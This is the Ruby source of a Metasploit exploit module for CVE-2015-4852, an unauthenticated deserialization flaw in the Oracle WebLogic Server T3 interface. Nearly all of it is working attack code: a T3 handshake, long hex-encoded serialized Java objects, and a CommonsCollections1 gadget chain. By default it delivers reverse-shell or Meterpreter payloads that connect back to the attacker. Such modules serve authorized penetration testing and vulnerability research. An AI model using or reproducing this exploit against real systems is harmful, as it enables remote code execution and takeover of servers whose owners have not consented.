Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_rawobject.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::JavaDeserialization1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',16'Description' => %q{17An unauthenticated attacker with network access to the Oracle Weblogic Server T318interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)19to the interface to execute code on vulnerable hosts.20},21'Author' => [22'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)23'Stephen Breen', # Vulnerability Discovery24'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs25'Steve Embling', # T3S porting and testing26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2015-4852']30],31'Privileged' => false,32'Platform' => %w{unix win solaris},33'Targets' => [34[35'Unix',36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },39'Payload' => {40'Compat' => { 'PayloadType' => 'cmd' }41}42],43[44'Windows',45'Platform' => 'win',46'Payload' => {},47'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }48],49[50'Solaris',51'Platform' => 'solaris',52'Arch' => ARCH_CMD,53'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },54'Payload' => {55'Space' => 2048,56'DisableNops' => true,57'Compat' =>58{59'PayloadType' => 'cmd',60'RequiredCmd' => 'generic perl telnet',61}62}63]64],65'DefaultTarget' => 0,66'DisclosureDate' => '2015-01-28',67'Notes' => {68'Reliability' => [REPEATABLE_SESSION],69'Stability' => [CRASH_SAFE],70'SideEffects' => [IOC_IN_LOGS]71}72)73)7475register_options([76Opt::RPORT(7001),77])7879register_advanced_options([80OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])81])82end8384=begin This check is currently incompatible with the Tcp mixin. :-(85def check86resp = send_request_cgi(87'method' => 'GET',88'uri' => '/console/login/LoginForm.jsp'89)9091return CheckCode::Unknown unless resp && resp.code == 2009293unless resp.body.include?('Oracle WebLogic Server Administration Console')94vprint_warning("Oracle WebLogic Server banner cannot be found")95return CheckCode::Unknown96end9798/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body99unless version100vprint_warning("Oracle WebLogic Server version cannot be found")101return CheckCode::Unknown102end103104version = Rex::Version.new(version)105vprint_good("Detected Oracle WebLogic Server Version: #{version}")106case107when version.to_s.start_with?('10.3')108return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')109when version.to_s.start_with?('12.1.2')110return CheckCode::Appears unless version > Rex::Version.new('12.1.2.0')111when version.to_s.start_with?('12.1.3')112return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')113when version.to_s.start_with?('12.2')114return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')115end116117return CheckCode::Safe118end119=end120121def t3_handshake122# retrieved from network traffic123if !datastore['SSL'] || datastore['FORCE_T3']124shake = 't3'125else126shake = 't3s'127end128shake << " 12.2.1\n"129shake << "AS:255\n"130shake << "HL:19\n"131shake << "MS:10000000\n\n"132133sock.put(shake)134sleep(1)135sock.get_once136end137138def build_t3_request_object139# T3 request serialized data140# retrieved by watching network traffic141# This is a proprietary, undocumented protocol142143# TODO: Cite a source for the dissection of in the following 14 lines:144data = '000005c3' # lenght of the packet145data << '01' # CMD_IDENTIFY_REQUEST146data << '65' # QOS147data << '01' # Flags:148# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)149# CONTEXT_TX_FLAG = 2150# CONTEXT_TRACE_FLAG = 4151# CONTEXT_EXTENDED_FLAG = 8152# CONTEXT_EXTENDED_USER_FLAG = 16153data << 'ffffffff' # response id154data << 'ffffffff' # invocable id155data << '0000006a' # abbrev offset156data << '0000ea60' # reconnect timeout ??157158data << '0000001900937b484a'159data << '56fa4a777666f581daa4f5b90e2aebfc607499'160data << 'b4027973720078720178720278700000000a00'161data << '00000300000000000000060070707070707000'162data << '00000a000000030000000000000006007006'163164data << 'fe010000' # ----- separator -----165166data << 'aced0005' # JSO v5 header167data << '73' # object header168data << '72001d' # className (29 bytes):169data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry170data << '5461626c65456e747279' # (continued)171data << '2f52658157f4f9ed' # serialVersionUID172data << '0c00007870' # remainder of object header173data << '72' # object header174data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo175data << '65726e616c2e5061636b616765496e666f' # (continued)176data << 'e6f723e7b8ae1ec9' # serialVersionUID177data << '02' # SC_SERIALIZABLE178data << '0008' # fieldCount = 8179data << '4900056d616a6f72' # 0: Int: major180data << '4900056d696e6f72' # 1: Int: minor181data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch182data << '49000b736572766963655061636b' # 3: Int: servicePack183data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch184data << '4c0009696d706c5469746c65' # 5: Obj: implTitle185data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String186data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor187data << '71007e0003' # (Handle) 0x007e0003188data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion189data << '71007e0003' # (Handle) 0x007e0003190data << '78707702000078' # block footers191192data << 'fe010000' # ----- separator -----193194data << 'aced0005' # JSO v5 header195data << '7372' # object header196data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry197data << '735461626c65456e747279' # (continued)198data << '2f52658157f4f9ed' # serialVersionUID199data << '0c' # EXTERNALIZABLE | BLOCKDATA200data << '00007870' # remainder of object header201data << '72' # object header202data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo203data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)204data << '972245516452463e' # serialVersionUID205data << '02' # SC_SERIALIZABLE206data << '0003' # fieldCount = 3207data << '5b0008' # array header (8 bytes)208data << '7061636b61676573' # ARRAY NAME = 'packages'209data << '740027' # TC_STRING className1 (39 bytes)210data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo211data << '6e7465726e616c2f5061636b616765496e666f' # (continued)212data << '3b' # (continued)213data << '4c000e' # object header (14 bytes)214data << '72656c6561736556657273696f6e' # releaseVersion215data << '740012' # TC_STRING (18 bytes)216data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes217data << '5b0012' # array header (18 bytes)218data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;219data << '740002' # TC_STRING (2 bytes)220data << '5b42' # 0x5b42 = [B221data << '78' # block footer222223data << '720024' # class (36 bytes)224data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo225data << '7465726e616c2e5061636b616765496e666f' # (continued)226data << 'e6f723e7b8ae1ec9' # serialVersionUID227228data << '02' # SC_SERIALIZABLE229data << '0008' # fieldCount = 8230data << '4900056d616a6f72' # 0: Int: major231data << '4900056d696e6f72' # 1: Int: minor232data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch233data << '49000b736572766963655061636b' # 3: Int: servicePack234data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch235data << '4c0009696d706c5469746c65' # 5: Obj: implTitle236data << '71' # TC_REFERENCE237data << '007e0004' # Handle = 0x007e0004238data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor239data << '71' # TC_REFERENCE240data << '007e0004' # Handle = 0x007e0004241data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion242data << '71' # TC_REFERENCE243data << '007e0004' # Handle = 0x007e0004244data << '78' # class footer245data << '70' # TC_NULL246data << '77020000' # BLOCKDATA (2 bytes): 0x0000247data << '78' # block footer248249data << 'fe010000' # ----- separator -----250251data << 'aced0005' # JSO v5 header252data << '73' # object header253data << '72001d' # className (29 bytes):254data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry255data << '5461626c65456e747279' # (continued)256data << '2f52658157f4f9ed' # serialVersionUID257data << '0c00007870' # remainder of object header258data << '720021' # className (33 bytes)259data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo260data << '65726e616c2e50656572496e666f' # (continued)261data << '585474f39bc908f1' # serialVersionUID262data << '02' # SC_SERIALIZABLE263data << '0006' # fieldCount = 6264data << '4900056d616a6f72' # 0: Int: major265data << '4900056d696e6f72' # 1: Int: minor266data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch267data << '49000b736572766963655061636b' # 3: Int: servicePack268data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch269data << '5b00087061636b61676573' # 5: Array: packages270data << '740027' # TC_STRING (39 bytes)271data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;272data << '6e7465726e616c2f5061636b616765496e666f' # (continued)273data << '3b' # (continued)274data << '78' # block footer275data << '720024' # class header276data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;277data << '65726e616c2e56657273696f6e496e666f' # (continued)278data << '972245516452463e' # serialVersionUID279data << '02' # SC_SERIALIZABLE280data << '0003' # fieldCount = 3281data << '5b0008' # 0: Array282data << '7061636b6167657371' # packages283data << '007e0003' # Handle = 0x00730003284data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion285data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;286data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes287data << '740002' # TC_STRING (2 bytes)288data << '5b42' # VALUE = 0x5b42 = [B289data << '78' # block footer290data << '720024' # class header291data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo292data << '6e616c2e5061636b616765496e666f' # (continued)293data << 'e6f723e7b8ae1ec9' # serialVersionUID294data << '02' # SC_SERIALIZABLE295data << '0008' # fieldCount = 8296data << '4900056d616a6f72' # 0: Int: major297data << '4900056d696e6f72' # 1: Int: minor298data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch299data << '49000b736572766963655061636b' # 3: Int: servicePack300data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch301data << '4c0009696d706c5469746c65' # 5: Obj: implTitle302data << '71' # TC_REFERENCE303data << '007e0005' # Handle = 0x007e0005304data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor305data << '71' # TC_REFERENCE306data << '007e0005' # Handle = 0x007e0005307data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion308data << '71' # TC_REFERENCE309data << '007e0005' # Handle = 0x007e0005310data << '78' # class footer311data << '707702000078' # block footers312313data << 'fe00ff' # this cruft again. some kind of footer314315data << 'fe010000' # ----- separator -----316317# weblogic.rjvm.JVMID object318data << 'aced0005' # JSO v5 header319data << '73' # object header320data << '720013' # class header321data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'322data << 'dc49c23ede121e2a' # serialVersionUID323data << '0c' # EXTERNALIZABLE | BLOCKDATA324data << '0000' # fieldCount = 0 (!!!)325data << '78' # block footer326data << '70' # NULL327data << '7750' # block header (80 bytes)328data << '21' # !329data << '000000000000000000' # 9 NULL BYTES330331data << '0d' # strLength = 13 bytes332# data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227333data << '3030302e3030302e3030302e30' # new string = 000.000.000.0334# (must be an IP, and length isn't trivially editable)335data << '00' # \0336337data << '12' # strLength = 18 bytes338# data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh339data << rand_text_alphanumeric(18).unpack('H*')[0]340341data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)342343data << '000000070000' # ??? UNKNOWN ???344data << rport.to_s(16).rjust(4, '0') # callback port345data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???346data << 'ffffffffff' # ??? UNKNOWN ???347data << '78' # block footer348349data << 'fe010000' # ----- separator -----350351# weblogic.rjvm.JVMID object352data << 'aced0005' # JSO v5 header353data << '73' # object header354data << '72' # class355data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID356data << 'dc49c23ede121e2a' # serialVersionUID357data << '0c' # EXTERNALIZABLE | BLOCKDATA358data << '0000' # fieldCount = 0359data << '78' # end block360data << '70' # TC_NULL361data << '77' # block header362data << '20' # length = 32 bytes363data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???364# data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZATION BREAKS THINGS)365366data << '0d' # string length = 13 bytes (NOTE: do not edit)367# data << '3234322e3231342e312e323534' # original string = 242.214.1.254368data << '3030302e3030302e3030302e30' # new string = 000.000.000.0369# (must be an IP, and length isn't trivially editable)370371# data << '61863d1d' # original string = ??? UNKNOWN ???372data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized373374data << '00000000' # NULL BYTES375data << '78' # block footer376377sock.put([data].pack('H*'))378sleep(1)379sock.get_once380end381382def send_payload_objdata383# basic weblogic ClassTableEntry object (serialized)384# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?385objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'386objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'387objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'388389objdata << 'fe010000' # ----- separator -----390391objdata << 'aced0005' # JSO v5 header392objdata << '73' # object header393objdata << '72' # class394objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry395objdata << '73735461626c65456e747279' # (cont)396objdata << '2f52658157f4f9ed' # serialVersionUID397objdata << '0c' # EXTERNALIZABLE | BLOCKDATA398objdata << '0000' # fieldCount = 0399objdata << '7870' # remaining object header400objdata << '72' # class header401objdata << '00025b42' # Name: 0x5b42402objdata << 'acf317f8060854e0' # serialVersionUID403objdata << '02' # SERIALIZABLE404objdata << '0000' # fieldCount = 0405objdata << '7870' # class footer406objdata << '77' # block header407objdata << '020000' # contents = 0x0000408objdata << '78' # block footer409410objdata << 'fe010000' # ----- separator -----411412objdata << 'aced0005' # JSO v5 header413objdata << '73' # object header414objdata << '72' # class415objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry416objdata << '73735461626c65456e747279' # (cont)417objdata << '2f52658157f4f9ed' # serialVersionUID418objdata << '0c' # EXTERNALIZABLE | BLOCKDATA419objdata << '0000' # fieldCount = 0420objdata << '7870' # remaining object header421objdata << '72' # class header422423objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;424objdata << '6563743b' # (cont)425objdata << '90ce589f1073296c' # serialVersionUID426objdata << '02' # SERIALIZABLE427objdata << '0000' # fieldCount = 0428objdata << '7870' # remaining object header429objdata << '77' # block header430objdata << '020000' # contents = 0x0000431objdata << '78' # block footer432433objdata << 'fe010000' # ----- separator -----434435objdata << 'aced0005' # JSO v5 header436objdata << '73' # object header437objdata << '72' # class438439objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry440objdata << '73735461626c65456e747279' # (cont)441objdata << '2f52658157f4f9ed' # serialVersionUID442objdata << '0c' # SERIALIZABLE | BLOCKDATA443objdata << '0000' # fieldCount = 0444objdata << '7870' # block footer445objdata << '72' # class header446objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector447objdata << 'd9977d5b803baf01' # serialVersionUID448objdata << '03' # WRITE_METHOD | SERIALIZABLE449objdata << '0003' # fieldCount = 3450objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement451objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount452objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData453objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;454objdata << '743b' # (cont)455objdata << '7870' # remaining object header456objdata << '77' # block header457objdata << '020000' # contents = 0x0000458objdata << '78' # block footer459460objdata << 'fe010000' # ----- separator -----461462java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)463objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join464465objdata << 'fe010000' # ----- separator -----466467# basic weblogic ImmutableServiceContext object (serialized)468objdata << 'aced0005' # JSO v5 header469objdata << '73' # object header470objdata << '72' # class471objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext472objdata << '7461626c6553657276696365436f6e74657874' # (cont)473objdata << 'ddcba8706386f0ba' # serialVersionUID474objdata << '0c' # EXTERNALIZABLE | BLOCKDATA475objdata << '0000' # fieldCount = 0476objdata << '78' # object footer477objdata << '72' # block header478objdata << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext479objdata << '696465722e426173696353657276696365436f' # (cont)480objdata << '6e74657874' # (cont)481objdata << 'e4632236c5d4a71e' # serialVersionUID482objdata << '0c' # EXTERNALIZABLE | BLOCKDATA483objdata << '0000' # fieldCount = 0484objdata << '7870' # block footer485objdata << '77' # block header486objdata << '020600' # contents = 0x0600487objdata << '7372' # class descriptor488objdata << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor489objdata << '726e616c2e4d6574686f644465736372697074' # (cont)490objdata << '6f72' # (cont)491objdata << '12485a828af7f67b' # serialVersionUID492objdata << '0c' # EXTERNALIZABLE | BLOCKDATA493objdata << '0000' # fieldCount = 0494objdata << '7870' # class footer495objdata << '77' # class data496497# payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765498# payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c499# payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b500objdata << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized501objdata << '78' # class footer502objdata << '78' # block footer503# MISSING OBJECT FOOTER (0x78)504505objdata << 'fe00ff' # this cruft again. some kind of footer506507# sets the length of the stream508data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')509data << objdata510511sock.put([data].pack('H*'))512sleep(1)513sock.get_once514end515516def exploit517connect518519print_status('Sending handshake...')520t3_handshake521522print_status('Sending T3 request object...')523build_t3_request_object524525print_status('Sending client object payload...')526send_payload_objdata527528handler529disconnect530end531end532533534